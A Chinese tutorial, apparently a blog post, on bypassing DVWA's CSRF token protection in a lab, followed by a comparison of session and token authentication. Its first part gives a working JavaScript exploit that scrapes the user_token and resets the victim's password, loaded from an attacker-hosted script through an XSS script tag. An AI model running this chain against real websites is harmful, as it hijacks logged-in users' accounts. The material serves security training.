CSRF攻击(3), 绕过token检测

CSRF攻击(3), 绕过token检测

一, 场景

1. 访问前端修改密码的页面:
http://192.168.112.200/DVWA-master/vulnerabilities/csrf/

查看页面源码, 在表单中发现隐藏的token, 每次刷新页面token都会更新.

<form action="#" method="GET">
    New password:<br>
    <input type="password" autocomplete="off" name="password_new"><br>
    Confirm new password:<br>
    <input type="password" autocomplete="off" name="password_conf"><br>
    <br>
    <input type="submit" value="Change" name="Change">
    <input type="hidden" name="user_token" value="4fb74e6eb4823d5eccd7aadccdeea0c5">
form>
2. 在页面上尝试修改密码, 观察请求的格式.
http://192.168.112.200/DVWA-master/vulnerabilities/csrf/
?password_new=111&password_conf=123&Change=Change&user_token=4fb74e6eb4823d5eccd7aadccdeea0c5

二, 绕过思路

1. 编写一个js脚本完成以下的任务:

(1)先向修改密码的页面发送请求, 将token从源码中获取出来.
(2)按照请求格式将修改密码的请求发送给服务器.

var tokenurl = 'http://192.168.112.200/DVWA-master/vulnerabilities/csrf/';
var xmlhttp = new XMLHttpRequest();

// 设置onreadystatechange事件处理器
xmlhttp.onreadystatechange = function() {
    /*
        0 - 请求未初始化(open 方法还没有被调用)
        1 - 服务器连接已建立(open 方法已被调用)
        2 - 请求已接收(send 方法已被调用,且头部和状态可获得)
        3 - 请求处理中(下载中,responseText 属性已包含部分数据)
        4 - 请求已完成,且响应已就绪(下载操作已完成)
    */
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        // 取得响应源码,正则提取Token
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        console.log(regex);
        var match = text.match(regex);
        if (match && match[1]) {
            var token = match[1];
            console.log(token);
            // 创建一个新的XMLHttpRequest对象用于修改密码请求
            var changexmlhttp = new XMLHttpRequest();
            var changeUrl = 'http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?user_token=' + token + '&password_new=root&password_conf=root&Change=Change';
            changexmlhttp.open("GET", changeUrl, true);
            changexmlhttp.send();
        }
    }
};

// 开启异步请求
xmlhttp.open("GET", tokenurl, true);
xmlhttp.send();

将脚本csrf.js放到攻击者服务器上 http://192.168.112.202/csrf.js .

2. 引诱登录的用户触发这个js脚本就可以完成修改密码的攻击.

比如利用XSS漏洞注入代码:

<script src="http://192.168.112.202/csrf.js"+Math.random()>script>

当用户访问页面时会自动执行攻击者的js代码.

三, Session与Token验证的应用场景

Web开发中常见的两种身份验证机制:Session和Token。

Session是基于服务器的身份验证机制。当用户第一次登录时,服务器会创建一个session,并将其ID存储在用户的cookie中。之后的每次请求,浏览器都会自动发送这个cookie给服务器。服务器通过这个ID来识别用户和存储相关的数据。但是,session通常是与特定的域名或应用绑定的,不容易在多个域或应用间共享。当你尝试在跨域(Cross-Domain)环境下使用session时,会遇到因浏览器的同源策略而引起的限制。

Token,特别是JSON Web Token (JWT),是另一种身份验证方式,它是独立于域的。在这种机制下,用户登录后会收到一个token,这个token包含了用户的身份信息,并且被服务器签名防止篡改。用户每次发起请求时,会将这个token放在HTTP请求的头部发送给服务器。服务器通过验证token的签名来确认用户身份。由于token是自包含的,并且通常不依赖于特定的域或会话,它们可以用于不同域之间的身份验证,这在构建微服务、单页面应用(SPA)、移动应用或跨域API服务时特别有用。
使用Token的跨域身份验证允许用户在不同的系统和服务之间无缝地验证身份,而不需要重新登录,这就是所谓的单点登录(Single Sign-On, SSO)。

但需要注意的是,无论使用Session还是Token,安全性都是一个需要关注的重点。例如,Token通常应该通过HTTPS传输以防止中间人攻击,并且合理设置过期时间来减少被盗用的风险。同时,对于敏感操作,仍然需要进行额外的身份验证步骤来确保安全。

四, Session与Token的优缺点

Token验证(尤其是JWT)确实在某些方面提供了比传统Session验证更多的灵活性和扩展性,特别是在构建跨域、微服务架构、无服务器架构、单页面应用(SPA)和移动应用等现代Web应用时。不过,Session和Token各有优缺点,并且适用于不同的场景。以下是一些考虑因素:

Session的优点:

  1. 简单性: 对于简单的应用,尤其是单服务器应用,Session可以非常简单地实现和管理。
  2. 服务器控制: Session存储在服务器端,可以由服务器完全控制,包括强制使Session失效,这在处理注销等操作时很有用。
  3. 存储容量: 因为数据是存储在服务器上,不需要担心Token大小的问题,可以存储更多的状态信息。

Session的缺点:

  1. 扩展性: 对于负载均衡的多服务器部署,需要实现Session共享机制,这可能会导致复杂性增加和性能下降。
  2. 跨域限制: 基于浏览器的同源策略,使用Session进行身份验证通常限制在单个域下。

Token的优点:

  1. 跨域通信: Token,尤其是JWT,非常适合用在跨域身份验证的场景中。
  2. 无状态和可扩展性: Token通常是无状态的,这意味着后端服务器不需要存储会话信息,这样更容易扩展应用。
  3. 适用于微服务: 微服务架构中的每个服务都可以独立验证Token,无需单独的身份验证服务。
  4. 移动友好: Token更容易被移动应用使用,因为它们不依赖于Cookie。

Token的缺点:

  1. 存储和传输: 因为每次HTTP请求都要发送Token,如果Token很大,它会增加带宽消耗。
  2. 安全性考虑: Token(尤其是JWT)一旦发出,就不可撤销,除非它过期,这可能导致安全风险,除非实现复杂的黑名单机制。
  3. 复杂性: 对于开发人员来说,正确实现Token的生成、刷新和过期可能比Session复杂。

Session并不是一种过时的验证技术,而是一种适合特定场景的验证方式。对于一些简单的、不需要大规模分布式部署的应用,Session仍然是一个非常好的选择。在实际应用中,很多系统会根据具体需求和场景,结合使用Session和Token。例如,内部系统可能会使用Session管理认证,而对外提供的API则使用Token进行认证。

总结来说,选择Session还是Token,应该根据应用的具体需求、预期的扩展性、开发的复杂性以及安全性需求来决定。

你可能感兴趣的:(渗透测试,csrf,前端)